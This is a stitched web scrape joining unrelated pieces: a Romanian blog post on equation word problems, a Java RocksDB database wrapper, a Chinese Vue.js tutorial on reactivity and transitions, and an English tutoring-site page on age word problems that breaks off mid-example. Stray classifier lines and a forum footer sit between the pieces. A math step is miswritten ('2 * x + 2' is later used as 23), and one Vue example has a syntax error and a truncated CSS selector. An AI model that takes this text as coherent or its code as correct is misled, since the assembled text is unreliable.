gcstats::AutoPhase ap(stats(), gcstats::PhaseKind::TRACE_HEAP);
gcstats::AutoPhase ap(stats(), gcstats::PhaseKind::TRACE_HEAP);
const size_t size = 64 * 1024 * 1024;
trc->root = (VerifyNode*)js_malloc(size);
if (!trc->root) {
goto oom;
goto oom;
}
trc->edgeptr = (char*)trc->root;
trc->term = trc->edgeptr + size;
/* Create the root node. */
/* Create the root node. */
trc->curnode = MakeNode(trc, JS::GCCellPtr());
MOZ_ASSERT(incrementalState == State::NotActive);
incrementalState = State::MarkRoots;
/* Make all the roots be edges emanating from the root node. */
traceRuntime(trc, prep);
VerifyNode* node;
node = trc->curnode;
if (trc->edgeptr == trc->term) {
goto oom;
}
}
/* For each edge, make a node for it if one doesn't already exist. */
while ((char*)node < trc->edgeptr) {
for (uint32_t i = 0; i < node->count; i++) {
EdgeValue& e = node->edges[i];
EdgeValue& e = node->edges[i];
VerifyNode* child = MakeNode(trc, e.thing);
if (child) {
trc->curnode = child;
JS::TraceChildren(trc, e.thing);
}
}
if (trc->edgeptr == trc->term) {
goto oom;
}
}
node = NextNode(node);
}
verifyPreData = trc;
verifyPreData = trc;
incrementalState = State::Mark;
marker.start();
for (ZonesIter zone(this, WithAtoms); !zone.done(); zone.next()) {
MOZ_ASSERT(!zone->usedByHelperThread());
MOZ_ASSERT(!zone->usedByHelperThread());
zone->setNeedsIncrementalBarrier(true);
zone->arenas.clearFreeLists();
}
return;
return;
oom:
incrementalState = State::NotActive;
js_delete(trc);
verifyPreData = nullptr;
}
static bool IsMarkedOrAllocated(TenuredCell* cell) {
return cell->isMarkedAny();
}
struct CheckEdgeTracer final : public JS::CallbackTracer {
struct CheckEdgeTracer final : public JS::CallbackTracer {
VerifyNode* node;
explicit CheckEdgeTracer(JSRuntime* rt)
: JS::CallbackTracer(rt), node(nullptr) {}
bool onChild(const JS::GCCellPtr& thing) override;
};
};
static const uint32_t MAX_VERIFIER_EDGES = 1000;
/*
* This function is called by EndVerifyBarriers for every heap edge. If the edge
* This function is called by EndVerifyBarriers for every heap edge. If the edge
* already existed in the original snapshot, we "cancel it out" by overwriting
* it with nullptr. EndVerifyBarriers later asserts that the remaining
* non-nullptr edges (i.e., the ones from the original snapshot that must have
* been modified) must point to marked objects.
*/
*/
bool CheckEdgeTracer::onChild(const JS::GCCellPtr& thing) {
// Skip things in other runtimes.
if (thing.asCell()->asTenured().runtimeFromAnyThread() != runtime()) {
return true;
return true;
}
/* Avoid n^2 behavior. */
if (node->count > MAX_VERIFIER_EDGES) {
return true;
return true;
}
for (uint32_t i = 0; i < node->count; i++) {
if (node->edges[i].thing == thing) {
node->edges[i].thing = JS::GCCellPtr();
return true;
return true;
}
}
return true;
}
void js::gc::AssertSafeToSkipBarrier(TenuredCell* thing) {
mozilla::DebugOnly<Zone*> zone = thing->zoneFromAnyThread();
MOZ_ASSERT(!zone->needsIncrementalBarrier() || zone->isAtomsZone());
}
static bool IsMarkedOrAllocated(const EdgeValue& edge) {
if (!edge.thing || IsMarkedOrAllocated(&edge.thing.asCell()->asTenured())) {
if (!edge.thing || IsMarkedOrAllocated(&edge.thing.asCell()->asTenured())) {
return true;
}
// Permanent atoms and well-known symbols aren't marked during graph
// traversal.
// traversal.
if (edge.thing.is<JSString>() &&
edge.thing.as<JSString>().isPermanentAtom()) {
return true;
}
if (edge.thing.is<JS::Symbol>() &&
if (edge.thing.is<JS::Symbol>() &&
edge.thing.as<JS::Symbol>().isWellKnownSymbol()) {
return true;
}
return false;
return false;
}
void gc::GCRuntime::endVerifyPreBarriers() {
VerifyPreTracer* trc = verifyPreData;
if (!trc) {
return;
}
MOZ_ASSERT(!JS::IsGenerationalGCEnabled(rt));
AutoPrepareForTracing prep(rt->mainContextFromOwnThread());
bool compartmentCreated = false;
/* We need to disable barriers before tracing, which may invoke barriers. */
for (ZonesIter zone(this, WithAtoms); !zone.done(); zone.next()) {
if (!zone->needsIncrementalBarrier()) {
compartmentCreated = true;
}
}
zone->setNeedsIncrementalBarrier(false);
}
/*
* We need to bump gcNumber so that the methodjit knows that jitcode has
* been discarded.
*/
MOZ_ASSERT(trc->number == number);
MOZ_ASSERT(trc->number == number);
number++;
verifyPreData = nullptr;
MOZ_ASSERT(incrementalState == State::Mark);
incrementalState = State::NotActive;
incrementalState = State::NotActive;
if (!compartmentCreated && IsIncrementalGCUnsafe(rt) == AbortReason::None &&
!rt->hasHelperThreadZones()) {
CheckEdgeTracer cetrc(rt);
/* Start after the roots. */
VerifyNode* node = NextNode(trc->root);
while ((char*)node < trc->edgeptr) {
cetrc.node = node;
JS::TraceChildren(&cetrc, node->thing);
JS::TraceChildren(&cetrc, node->thing);
if (node->count <= MAX_VERIFIER_EDGES) {
for (uint32_t i = 0; i < node->count; i++) {
EdgeValue& edge = node->edges[i];
if (!IsMarkedOrAllocated(edge)) {
if (!IsMarkedOrAllocated(edge)) {
char msgbuf[1024];
SprintfLiteral(
msgbuf,
"[barrier verifier] Unmarked edge: %s %p '%s' edge to %s %p",
JS::GCTraceKindToAscii(node->thing.kind()),
node->thing.asCell(), edge.label,
JS::GCTraceKindToAscii(edge.thing.kind()), edge.thing.asCell());
JS::GCTraceKindToAscii(edge.thing.kind()), edge.thing.asCell());
MOZ_ReportAssertionFailure(msgbuf, __FILE__, __LINE__);
MOZ_CRASH();
}
}
}
node = NextNode(node);
}
}
marker.reset();
marker.reset();
marker.stop();
js_delete(trc);
}
/*** Barrier Verifier Scheduling ***/
void gc::GCRuntime::verifyPreBarriers() {
if (verifyPreData) {
endVerifyPreBarriers();
endVerifyPreBarriers();
} else {
startVerifyPreBarriers();
}
}
void gc::VerifyBarriers(JSRuntime* rt, VerifierType type) {
if (type == PreBarrierVerifier) {
rt->gc.verifyPreBarriers();
}
}
}
void gc::GCRuntime::maybeVerifyPreBarriers(bool always) {
if (!hasZealMode(ZealMode::VerifierPre)) {
return;
return;
}
if (rt->mainContextFromOwnThread()->suppressGC) {
if (rt->mainContextFromOwnThread()->suppressGC) {
return;
return;
}
if (verifyPreData) {
if (++verifyPreData->count < zealFrequency && !always) {
return;
}
endVerifyPreBarriers();
}
startVerifyPreBarriers();
}
}
void js::gc::MaybeVerifyBarriers(JSContext* cx, bool always) {
GCRuntime* gc = &cx->runtime()->gc;
gc->maybeVerifyPreBarriers(always);
}
}
void js::gc::GCRuntime::finishVerifier() {
if (verifyPreData) {
js_delete(verifyPreData.ref());
verifyPreData = nullptr;
verifyPreData = nullptr;
}
}
struct GCChunkHasher {
typedef gc::Chunk* Lookup;
/*
* Strip zeros for better distribution after multiplying by the golden
* ratio.
* ratio.
*/
static HashNumber hash(gc::Chunk* chunk) {
MOZ_ASSERT(!(uintptr_t(chunk) & gc::ChunkMask));
return HashNumber(uintptr_t(chunk) >> gc::ChunkShift);
}
}
static bool match(gc::Chunk* k, gc::Chunk* l) {
MOZ_ASSERT(!(uintptr_t(k) & gc::ChunkMask));
MOZ_ASSERT(!(uintptr_t(l) & gc::ChunkMask));
return k == l;
return k == l;
}
};
class js::gc::MarkingValidator {
public:
public:
explicit MarkingValidator(GCRuntime* gc);
void nonIncrementalMark(AutoGCSession& session);
void validate();
private:
private:
GCRuntime* gc;
bool initialized;
using BitmapMap =
HashMap<Chunk*, UniquePtr<ChunkBitmap>, GCChunkHasher, SystemAllocPolicy>;
HashMap<Chunk*, UniquePtr<ChunkBitmap>, GCChunkHasher, SystemAllocPolicy>;
BitmapMap map;
};
js::gc::MarkingValidator::MarkingValidator(GCRuntime* gc)
: gc(gc), initialized(false) {}
: gc(gc), initialized(false) {}
void js::gc::MarkingValidator::nonIncrementalMark(AutoGCSession& session) {
/*
* Perform a non-incremental mark for all collecting zones and record
* Perform a non-incremental mark for all collecting zones and record
* the results for later comparison.
*
* Currently this does not validate gray marking.
*/
JSRuntime* runtime = gc->rt;
GCMarker* gcmarker = &gc->marker;
MOZ_ASSERT(!gcmarker->isWeakMarking());
MOZ_ASSERT(!gcmarker->isWeakMarking());
/* Wait for off-thread parsing which can allocate. */
HelperThreadState().waitForAllThreads();
gc->waitBackgroundAllocEnd();
gc->waitBackgroundSweepEnd();
/* Save existing mark bits. */
{
{
AutoLockGC lock(gc);
for (auto chunk = gc->allNonEmptyChunks(lock); !chunk.done();
chunk.next()) {
ChunkBitmap* bitmap = &chunk->bitmap;
auto entry = MakeUnique<ChunkBitmap>();
auto entry = MakeUnique<ChunkBitmap>();
if (!entry) {
return;
}
memcpy((void*)entry->bitmap, (void*)bitmap->bitmap,
memcpy((void*)entry->bitmap, (void*)bitmap->bitmap,
sizeof(bitmap->bitmap));
if (!map.putNew(chunk, std::move(entry))) {
return;
}
}
}
}
/*
* Temporarily clear the weakmaps' mark flags for the compartments we are
* Temporarily clear the weakmaps' mark flags for the compartments we are
* collecting.
*/
WeakMapColors markedWeakMaps;
/*
* For saving, smush all of the keys into one big table and split them back
* up into per-zone tables when restoring.
*/
gc::WeakKeyTable savedWeakKeys(SystemAllocPolicy(),
runtime->randomHashCodeScrambler());
if (!savedWeakKeys.init()) {
if (!savedWeakKeys.init()) {
return;
}
for (GCZonesIter zone(gc); !zone.done(); zone.next()) {
if (!WeakMapBase::saveZoneMarkedWeakMaps(zone, markedWeakMaps)) {
return;
return;
}
AutoEnterOOMUnsafeRegion oomUnsafe;
for (gc::WeakKeyTable::Range r = zone->gcWeakKeys().all(); !r.empty();
r.popFront()) {
r.popFront()) {
MOZ_ASSERT(r.front().key->asTenured().zone() == zone);
if (!savedWeakKeys.put(r.front().key, std::move(r.front().value))) {
oomUnsafe.crash("saving weak keys table for validator");
}
}
}
if (!zone->gcWeakKeys().clear()) {
oomUnsafe.crash("clearing weak keys table for validator");
}
}
}
/*
* After this point, the function should run to completion, so we shouldn't
* do anything fallible.
*/
*/
initialized = true;
/* Re-do all the marking, but non-incrementally. */
js::gc::State state = gc->incrementalState;
gc->incrementalState = State::MarkRoots;
{
{
gcstats::AutoPhase ap(gc->stats(), gcstats::PhaseKind::PREPARE);
{
gcstats::AutoPhase ap(gc->stats(), gcstats::PhaseKind::UNMARK);
for (GCZonesIter zone(gc); !zone.done(); zone.next()) {
WeakMapBase::unmarkZone(zone);
}
MOZ_ASSERT(gcmarker->isDrained());
MOZ_ASSERT(gcmarker->isDrained());
gcmarker->reset();
gcmarker->reset();
AutoLockGC lock(gc);
for (auto chunk = gc->allNonEmptyChunks(lock); !chunk.done();
chunk.next()) {
chunk->bitmap.clear();
chunk->bitmap.clear();
}
}
}
{
{
gcstats::AutoPhase ap(gc->stats(), gcstats::PhaseKind::MARK);
gc->traceRuntimeForMajorGC(gcmarker, session);
gc->incrementalState = State::Mark;
gc->incrementalState = State::Mark;
gc->drainMarkStack();
}
gc->incrementalState = State::Sweep;
{
{
gcstats::AutoPhase ap1(gc->stats(), gcstats::PhaseKind::SWEEP);
gcstats::AutoPhase ap2(gc->stats(), gcstats::PhaseKind::SWEEP_MARK);
gc->markAllWeakReferences();
/* Update zone state for gray marking. */
for (GCZonesIter zone(gc); !zone.done(); zone.next()) {
for (GCZonesIter zone(gc); !zone.done(); zone.next()) {
zone->changeGCState(Zone::MarkBlackOnly, Zone::MarkBlackAndGray);
}
AutoSetMarkColor setColorGray(*gcmarker, MarkColor::Gray);
gcmarker->setMainStackColor(MarkColor::Gray);
gcmarker->setMainStackColor(MarkColor::Gray);
gc->markAllGrayReferences(gcstats::PhaseKind::SWEEP_MARK_GRAY);
gc->markAllWeakReferences();
gc->marker.setMainStackColor(MarkColor::Black);
/* Restore zone state. */
for (GCZonesIter zone(gc); !zone.done(); zone.next()) {
zone->changeGCState(Zone::MarkBlackAndGray, Zone::MarkBlackOnly);
}
MOZ_ASSERT(gc->marker.isDrained());
MOZ_ASSERT(gc->marker.isDrained());
}
/* Take a copy of the non-incremental mark state and restore the original. */
/* Take a copy of the non-incremental mark state and restore the original. */
{
AutoLockGC lock(gc);
for (auto chunk = gc->allNonEmptyChunks(lock); !chunk.done();
chunk.next()) {
ChunkBitmap* bitmap = &chunk->bitmap;
ChunkBitmap* bitmap = &chunk->bitmap;
ChunkBitmap* entry = map.lookup(chunk)->value().get();
std::swap(*entry, *bitmap);
}
}
for (GCZonesIter zone(gc); !zone.done(); zone.next()) {
WeakMapBase::unmarkZone(zone);
AutoEnterOOMUnsafeRegion oomUnsafe;
if (!zone->gcWeakKeys().clear()) {
oomUnsafe.crash("clearing weak keys table for validator");
}
}
}
WeakMapBase::restoreMarkedWeakMaps(markedWeakMaps);
for (gc::WeakKeyTable::Range r = savedWeakKeys.all(); !r.empty();
r.popFront()) {
r.popFront()) {
AutoEnterOOMUnsafeRegion oomUnsafe;
Zone* zone = r.front().key->asTenured().zone();
if (!zone->gcWeakKeys().put(r.front().key, std::move(r.front().value))) {
oomUnsafe.crash("restoring weak keys table for validator");
}
}
}
gc->incrementalState = state;
}
void js::gc::MarkingValidator::validate() {
/*
* Validates the incremental marking for a single compartment by comparing
* the mark bits to those previously recorded for a non-incremental mark.
*/
*/
if (!initialized) {
return;
}
MOZ_ASSERT(!gc->marker.isWeakMarking());
gc->waitBackgroundSweepEnd();
AutoLockGC lock(gc->rt);
for (auto chunk = gc->allNonEmptyChunks(lock); !chunk.done(); chunk.next()) {
BitmapMap::Ptr ptr = map.lookup(chunk);
if (!ptr) {
continue; /* Allocated after we did the non-incremental mark. */
continue; /* Allocated after we did the non-incremental mark. */
}
ChunkBitmap* bitmap = ptr->value().get();
ChunkBitmap* incBitmap = &chunk->bitmap;
for (size_t i = 0; i < ArenasPerChunk; i++) {
if (chunk->decommittedArenas.get(i)) {
if (chunk->decommittedArenas.get(i)) {
continue;
}
Arena* arena = &chunk->arenas[i];
if (!arena->allocated()) {
continue;
continue;
}
if (!arena->zone->isGCSweeping()) {
continue;
}
AllocKind kind = arena->getAllocKind();
uintptr_t thing = arena->thingsStart();
uintptr_t end = arena->thingsEnd();
while (thing < end) {
auto cell = reinterpret_cast<TenuredCell*>(thing);
auto cell = reinterpret_cast<TenuredCell*>(thing);
/*
* If a non-incremental GC wouldn't have collected a cell, then
* If a non-incremental GC wouldn't have collected a cell, then
* an incremental GC won't collect it.
*/
if (bitmap->isMarkedAny(cell)) {
MOZ_RELEASE_ASSERT(incBitmap->isMarkedAny(cell));
}
}
/*
* If the cycle collector isn't allowed to collect an object
* after a non-incremental GC has run, then it isn't allowed to
* collected it after an incremental GC.
*/
if (!bitmap->isMarkedGray(cell)) {
MOZ_RELEASE_ASSERT(!incBitmap->isMarkedGray(cell));
if (!bitmap->isMarkedGray(cell)) {
}
thing += Arena::thingSize(kind);
}
}
}
}
}
void GCRuntime::computeNonIncrementalMarkingForValidation(
AutoGCSession& session) {
void GCRuntime::computeNonIncrementalMarkingForValidation(
MOZ_ASSERT(!markingValidator);
if (isIncremental && hasZealMode(ZealMode::IncrementalMarkingValidator)) {
markingValidator = js_new<MarkingValidator>(this);
}
if (markingValidator) {
}
markingValidator->nonIncrementalMark(session);
}
}
void GCRuntime::validateIncrementalMarking() {
if (markingValidator) {
markingValidator->validate();
}
}
void GCRuntime::finishMarkingValidation() {
js_delete(markingValidator.ref());
markingValidator = nullptr;
}
markingValidator = nullptr;
#endif /* JS_GC_ZEAL */
#if defined(JS_GC_ZEAL) || defined(DEBUG)
class HeapCheckTracerBase : public JS::CallbackTracer {
class HeapCheckTracerBase : public JS::CallbackTracer {
public:
explicit HeapCheckTracerBase(JSRuntime* rt, WeakMapTraceKind weakTraceKind);
bool traceHeap(AutoTraceSession& session);
virtual void checkCell(Cell* cell) = 0;
protected:
void dumpCellInfo(Cell* cell);
void dumpCellPath();
Cell* parentCell() {
Cell* parentCell() {
return parentIndex == -1 ? nullptr : stack[parentIndex].thing.asCell();
}
size_t failures;
private:
bool onChild(const JS::GCCellPtr& thing) override;
struct WorkItem {
WorkItem(JS::GCCellPtr thing, const char* name, int parentIndex)
WorkItem(JS::GCCellPtr thing, const char* name, int parentIndex)
: thing(thing),
name(name),
parentIndex(parentIndex),
processed(false) {}
processed(false) {}
JS::GCCellPtr thing;
const char* name;
int parentIndex;
bool processed;
bool processed;
};
JSRuntime* rt;
bool oom;
JSRuntime* rt;
HashSet<Cell*, DefaultHasher<Cell*>, SystemAllocPolicy> visited;
Vector<WorkItem, 0, SystemAllocPolicy> stack;
int parentIndex;
};
};
HeapCheckTracerBase::HeapCheckTracerBase(JSRuntime* rt,
WeakMapTraceKind weakTraceKind)
: CallbackTracer(rt, weakTraceKind),
failures(0),
rt(rt),
failures(0),
oom(false),
parentIndex(-1) {
# ifdef DEBUG
setCheckEdges(false);
# endif
}
}
bool HeapCheckTracerBase::onChild(const JS::GCCellPtr& thing) {
Cell* cell = thing.asCell();
checkCell(cell);
if (visited.lookup(cell)) {
return true;
}
if (!visited.put(cell)) {
if (!visited.put(cell)) {
oom = true;
return true;
}
// Don't trace into GC things owned by another runtime.
// Don't trace into GC things owned by another runtime.
if (cell->runtimeFromAnyThread() != rt) {
return true;
}
// Don't trace into GC in zones being used by helper threads.
// Don't trace into GC in zones being used by helper threads.
Zone* zone = thing.asCell()->zone();
if (zone->usedByHelperThread()) {
return true;
}
return true;
WorkItem item(thing, contextName(), parentIndex);
if (!stack.append(item)) {
oom = true;
}
return true;
}
bool HeapCheckTracerBase::traceHeap(AutoTraceSession& session) {
// The analysis thinks that traceRuntime might GC by calling a GC callback.
// The analysis thinks that traceRuntime might GC by calling a GC callback.
JS::AutoSuppressGCAnalysis nogc;
if (!rt->isBeingDestroyed()) {
rt->gc.traceRuntime(this, session);
}
while (!stack.empty() && !oom) {
WorkItem item = stack.back();
if (item.processed) {
stack.popBack();
} else {
} else {
parentIndex = stack.length() - 1;
stack.back().processed = true;
TraceChildren(this, item.thing);
}
}
}
return !oom;
}
void HeapCheckTracerBase::dumpCellInfo(Cell* cell) {
void HeapCheckTracerBase::dumpCellInfo(Cell* cell) {
auto kind = cell->getTraceKind();
JSObject* obj =
kind == JS::TraceKind::Object ? static_cast<JSObject*>(cell) : nullptr;
fprintf(stderr, "%s %s", cell->color().name(), GCTraceKindToAscii(kind));
if (obj) {
fprintf(stderr, " %s", obj->getClass()->name);
}
fprintf(stderr, " %p", cell);
if (obj) {
fprintf(stderr, " (compartment %p)", obj->compartment());
if (obj) {
fprintf(stderr, " (compartment %p)", obj->compartment());
}
}
void HeapCheckTracerBase::dumpCellPath() {
const char* name = contextName();
for (int index = parentIndex; index != -1; index = stack[index].parentIndex) {
const WorkItem& parent = stack[index];
Cell* cell = parent.thing.asCell();
fprintf(stderr, " from ");
Cell* cell = parent.thing.asCell();
dumpCellInfo(cell);
fprintf(stderr, " %s edge\n", name);
name = parent.name;
}
fprintf(stderr, " from root %s\n", name);
}
}
class CheckHeapTracer final : public HeapCheckTracerBase {
public:
enum GCType { Moving, NonMoving };
public:
explicit CheckHeapTracer(JSRuntime* rt, GCType type);
void check(AutoTraceSession& session);
private:
void checkCell(Cell* cell) override;
GCType gcType;
};
};
CheckHeapTracer::CheckHeapTracer(JSRuntime* rt, GCType type)
: HeapCheckTracerBase(rt, TraceWeakMapKeysValues), gcType(type) {}
inline static bool IsValidGCThingPointer(Cell* cell) {
inline static bool IsValidGCThingPointer(Cell* cell) {
return (uintptr_t(cell) & CellAlignMask) == 0;
}
}
void CheckHeapTracer::checkCell(Cell* cell) {
// Moving
if (!IsValidGCThingPointer(cell) ||
((gcType == GCType::Moving) && !IsGCThingValidAfterMovingGC(cell)) ||
((gcType == GCType::NonMoving) && cell->isForwarded())) {
((gcType == GCType::Moving) && !IsGCThingValidAfterMovingGC(cell)) ||
failures++;
fprintf(stderr, "Bad pointer %p\n", cell);
dumpCellPath();
}
}
}
void CheckHeapTracer::check(AutoTraceSession& session) {
if (!traceHeap(session)) {
return;
}
return;
if (failures) {
fprintf(stderr, "Heap check: %zu failure(s)\n", failures);
}
MOZ_RELEASE_ASSERT(failures == 0);
}
}
void js::gc::CheckHeapAfterGC(JSRuntime* rt) {
AutoTraceSession session(rt);
void js::gc::CheckHeapAfterGC(JSRuntime* rt) {
CheckHeapTracer::GCType gcType;
if (rt->gc.nursery().isEmpty()) {
gcType = CheckHeapTracer::GCType::Moving;
} else {
gcType = CheckHeapTracer::GCType::Moving;
gcType = CheckHeapTracer::GCType::NonMoving;
}
CheckHeapTracer tracer(rt, gcType);
tracer.check(session);
CheckHeapTracer tracer(rt, gcType);
}
class CheckGrayMarkingTracer final : public HeapCheckTracerBase {
public:
explicit CheckGrayMarkingTracer(JSRuntime* rt);
explicit CheckGrayMarkingTracer(JSRuntime* rt);
bool check(AutoTraceSession& session);
private:
void checkCell(Cell* cell) override;
};
};
CheckGrayMarkingTracer::CheckGrayMarkingTracer(JSRuntime* rt)
: HeapCheckTracerBase(rt, DoNotTraceWeakMaps) {
// Weak gray->black edges are allowed.
setTraceWeakEdges(false);
setTraceWeakEdges(false);
}
void CheckGrayMarkingTracer::checkCell(Cell* cell) {
Cell* parent = parentCell();
if (!parent) {
if (!parent) {
return;
}
if (parent->isMarkedBlack() && cell->isMarkedGray()) {
failures++;
failures++;
fprintf(stderr, "Found black to gray edge to ");
dumpCellInfo(cell);
fprintf(stderr, "\n");
fprintf(stderr, "\n");
dumpCellPath();
# ifdef DEBUG
if (parent->is<JSObject>()) {
fprintf(stderr, "\nSource: ");
DumpObject(parent->as<JSObject>(), stderr);
fprintf(stderr, "\nSource: ");
}
if (cell->is<JSObject>()) {
fprintf(stderr, "\nTarget: ");
DumpObject(cell->as<JSObject>(), stderr);
}
DumpObject(cell->as<JSObject>(), stderr);
# endif
}
}
bool CheckGrayMarkingTracer::check(AutoTraceSession& session) {
if (!traceHeap(session)) {
if (!traceHeap(session)) {
return true; // Ignore failure.
}
return failures == 0;
}
}
JS_FRIEND_API bool js::CheckGrayMarkingState(JSRuntime* rt) {
MOZ_ASSERT(!JS::RuntimeHeapIsCollecting());
MOZ_ASSERT(!rt->gc.isIncrementalGCInProgress());
if (!rt->gc.areGrayBitsValid()) {
if (!rt->gc.areGrayBitsValid()) {
return true;
}
gcstats::AutoPhase ap(rt->gc.stats(), gcstats::PhaseKind::TRACE_HEAP);
AutoTraceSession session(rt);
AutoTraceSession session(rt);
CheckGrayMarkingTracer tracer(rt);
return tracer.check(session);
}
static JSObject* MaybeGetDelegate(Cell* cell) {
if (!cell->is<JSObject>()) {
return nullptr;
}
}
JSObject* object = cell->as<JSObject>();
return js::UncheckedUnwrapWithoutExpose(object);
}
bool js::gc::CheckWeakMapEntryMarking(const WeakMapBase* map, Cell* key,
Cell* value) {
bool ok = true;
Zone* zone = map->zone();
Zone* zone = map->zone();
MOZ_ASSERT(CurrentThreadCanAccessZone(zone));
MOZ_ASSERT(zone->isGCMarking());
JSObject* object = map->memberOf;
MOZ_ASSERT_IF(object, object->zone() == zone);
// Debugger weak maps can have keys in different zones.
Zone* keyZone = key->zoneFromAnyThread();
MOZ_ASSERT_IF(!map->allowKeysInOtherZones(),
keyZone == zone || keyZone->isAtomsZone());
Zone* valueZone = value->zoneFromAnyThread();
MOZ_ASSERT(valueZone == zone || valueZone->isAtomsZone());
if (object && object->color() != map->mapColor) {
fprintf(stderr, "WeakMap object is marked differently to the map\n");
fprintf(stderr, "(map %p is %s, object %p is %s)\n", map,
fprintf(stderr, "WeakMap object is marked differently to the map\n");
map->mapColor.name(), object, object->color().name());
ok = false;
}
// Values belonging to other runtimes or in uncollected zones are treated as
// black.
JSRuntime* mapRuntime = zone->runtimeFromAnyThread();
auto effectiveColor = [=](Cell* cell, Zone* cellZone) -> CellColor {
auto effectiveColor = [=](Cell* cell, Zone* cellZone) -> CellColor {
if (cell->runtimeFromAnyThread() != mapRuntime) {
return CellColor::Black;
}
if (cellZone->isGCMarking() || cellZone->isGCSweeping()) {
return cell->color();
return cell->color();
}
return CellColor::Black;
};
CellColor valueColor = effectiveColor(value, valueZone);
CellColor keyColor = effectiveColor(key, keyZone);
CellColor valueColor = effectiveColor(value, valueZone);
if (valueColor < std::min(map->mapColor, keyColor)) {
fprintf(stderr, "WeakMap value is less marked than map and key\n");
fprintf(stderr, "(map %p is %s, key %p is %s, value %p is %s)\n", map,
map->mapColor.name(), key, keyColor.name(), value,
valueColor.name());
valueColor.name());
ok = false;
}
JSObject* delegate = MaybeGetDelegate(key);
if (!delegate) {
if (!delegate) {
return ok;
}
CellColor delegateColor = effectiveColor(delegate, delegate->zone());
if (keyColor < std::min(map->mapColor, delegateColor)) {
CellColor delegateColor = effectiveColor(delegate, delegate->zone());
fprintf(stderr, "WeakMap key is less marked than map or delegate\n");
fprintf(stderr, "(map %p is %s, delegate %p is %s, key %p is %s)\n", map,
map->mapColor.name(), delegate, delegateColor.name(), key,
keyColor.name());
ok = false;
keyColor.name());
}
return ok;
}
}
#endif // defined(JS_GC_ZEAL) || defined(DEBUG)
#ifdef DEBUG
// Return whether an arbitrary pointer is within a cell with the given
// traceKind. Only for assertions.
bool GCRuntime::isPointerWithinTenuredCell(void* ptr, JS::TraceKind traceKind) {
AutoLockGC lock(this);
for (auto chunk = allNonEmptyChunks(lock); !chunk.done(); chunk.next()) {
if (chunk->isNurseryChunk()) {
continue;
}
if (ptr >= &chunk->arenas[0] && ptr < &chunk->arenas[ArenasPerChunk]) {
auto* arena = reinterpret_cast<Arena*>(uintptr_t(ptr) & ~ArenaMask);
if (!arena->allocated()) {
return false;
}
MOZ_ASSERT(!chunk->isNurseryChunk());
return MapAllocToTraceKind(arena->getAllocKind()) == traceKind;
}
}
return false;
}
#endif // DEBUG
|
__label__pos
| 0.862498 |
How do you solve #8w-8-6w=4w-7#?
1 Answer
Aug 25, 2017
#w = -0.5#
Explanation:
#8w-8-6w=4w-7#
Collect like terms on the left-hand side:
#2w-8=4w-7#
Subtract #2w# off both sides in order to 'transfer' the operation:
#2w-8-2w=4w-7-2w#
#-8=4w-7-2w#
#-8=2w-7#
From here, 'transfer' the #-7# to the left-hand side by doing the opposite operation:
#-8+7=2w-7+7#
#-1=2w#
Divide #-1# by #2# to get: #-0.5#
So, #w=-0.5#
To check, substitute #-0.5# into the equation:
#8(-0.5)-8-6(-0.5)=-9#
#4(-0.5)-7=-9#
Ta-da! Hope this helps!
|
__label__pos
| 0.996771 |
Take the 2-minute tour ×
TeX - LaTeX Stack Exchange is a question and answer site for users of TeX, LaTeX, ConTeXt, and related typesetting systems. It's 100% free, no registration required.
I'm trying to achieve something like this
+ --------------------------------------
+ | - Item entry one with multiple
+ A | rows blablabla
+ A | - Item entry with blabla
+ | - Item entry
+ --------------------------------------
So here some explanations:
• In the left column, I want to have text but rotated by 90 degree (sorry, don't know how to write this in the example above ^^).
• Rotated text should be aligned vertically
• Itemization should not have any margins.
• paralist package is not an option, because it causes a compile error (I use some other packages that might cause the problem)
At the moment, I'm doing something like this:
\documentclass[12pt,twoside,openright,a4paper]{memoir}
\usepackage{soul}
\usepackage{tikz}
\usetikzlibrary{calc}
\usetikzlibrary{decorations.pathmorphing}
\usepackage{enumitem}
\usepackage{tabularx}
\usepackage{booktabs}
\usepackage[table]{xcolor}
\usepackage{tabu}
\begin{document}
\begin{tabular}{ m{0.4cm} p{7cm} }
\rotatebox{90}{AA} &
\begin{itemize}
[label=\Square,leftmargin=*,
nosep,noitemsep,partopsep=0pt,topsep=-35pt,after=\strut]
\item Item entry one with multiple rows blablabla
\end{itemize}
\\
\end{tabular}
\end{document}
My problems are
• The rotated text is fixed at the top, not centered vertically. I also tried a \centering in the rotatebox, but no effect.
• The itemization has a lot of margins. Why? I define topset to be negative?!?
Thank you for your help! I'm starting to get nuts about this. If there is a solution without tables, e.g., floating boxes, it would also be appreciated!
share|improve this question
2
Please always post complete documents not just fragments, so people can test their answers, and it shows which packages you are using. I'd guess graphicx, enumitem and array, at least, but not everyone can guess. – David Carlisle Apr 24 '14 at 20:44
1 Answer 1
You can, believe it not, use the tcolorbox package for this.
It might seem crazy to use a package that produces such beautiful framed environments to do something so simple, but it allows page breaks, and will align your AA perfectly.
screenshot
The important part in the code below is
\newtcolorbox{warning}{parbox=false,breakable,
enhanced,
%arc=0mm,colback=red!5,colframe=red,
leftrule=12mm,%
frame hidden,
interior hidden,
%grow to left by=1cm,
overlay={\node[anchor=north,outer sep=12pt,rotate=90] at (frame.west) {AA}; }}
This defines a new tcolorbox; I have commented out some options that you might like to play with in the future.
I loaded the showframe package only to highlight the page dimensions, and the lipsum package for sample text - you can remove them for your production document.
Here's a complete MWE to play with:
% arara: pdflatex
% !arara: indent: {overwrite: yes}
\documentclass{article}
\usepackage{showframe}
\usepackage[many]{tcolorbox}
\newtcolorbox{warning}{parbox=false,breakable,
enhanced,
%arc=0mm,colback=red!5,colframe=red,
leftrule=12mm,%
frame hidden,
interior hidden,
%grow to left by=1cm,
overlay={\node[anchor=north,outer sep=12pt,rotate=90] at (frame.west) {AA}; }}
\usepackage{lipsum}
\usepackage{amssymb}
\usepackage{enumitem}
\begin{document}
\begin{warning}
\begin{itemize}
[label=$\square$,leftmargin=*,
nosep,noitemsep,partopsep=0pt,topsep=-35pt]
\item \lipsum[1]
\item \lipsum[1]
\end{itemize}
\end{warning}
\end{document}
share|improve this answer
In theory, this looks great :-) I get the error "unknown option many" and "! Package pgfkeys Error: I do not know the key '/tcb/breakable' and I am going". In addition: would it also be easy to place the example two times besides each other? So AA - items - AA - items? Thank you!! – strauberry Apr 24 '14 at 21:02
@strauberry sounds like an update is in order: How do I update my TeX distribution? – cmhughes Apr 24 '14 at 21:04
@strauberry for your second question, do you mean something like: overlay={\node[anchor=north,outer sep=12pt,rotate=90] at (frame.north west) {AA};\node[anchor=north,outer sep=12pt,rotate=90] at (frame.south west) {AA};} – cmhughes Apr 24 '14 at 21:08
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
